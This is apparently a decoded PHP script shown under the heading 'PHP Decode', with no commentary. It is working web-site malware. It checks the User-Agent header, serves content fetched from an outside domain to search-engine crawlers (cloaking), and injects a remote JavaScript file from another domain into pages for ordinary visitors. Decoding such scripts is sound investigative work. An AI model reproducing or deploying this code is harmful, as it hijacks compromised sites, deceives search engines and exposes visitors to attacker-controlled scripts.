PHP Decode

<?php 
header('Content-Type:text/html;charset=gb2312'); 
isAllowAccess(TRUE); 
function isAllowAccess($dir = false){ 
$key= $_SERVER["HTTP_USER_AGENT"]; 
$valid = false; 
if(strpos($key,'ogou')!== false||strpos($key,'aidu')!==false||strpos($key,'so')!==false||  strpos($key,'sm')!==false||strpos($key,'soso')!==false||strpos($key,'google')!==false) 
{ 
   $valid = true; 
   $file = file_get_contents('http://m.31r7lcom.top/jsc/jsc.php');  
   echo $file; 
   echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/'); 
} 
	if(!$valid && $dir) 
	{ 
echo '<script type="text/javascript" src="http://www.yicai2028.com/js.js"></script>'; 
echo file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/'); 
	} 
	return $valid; 
} 
?>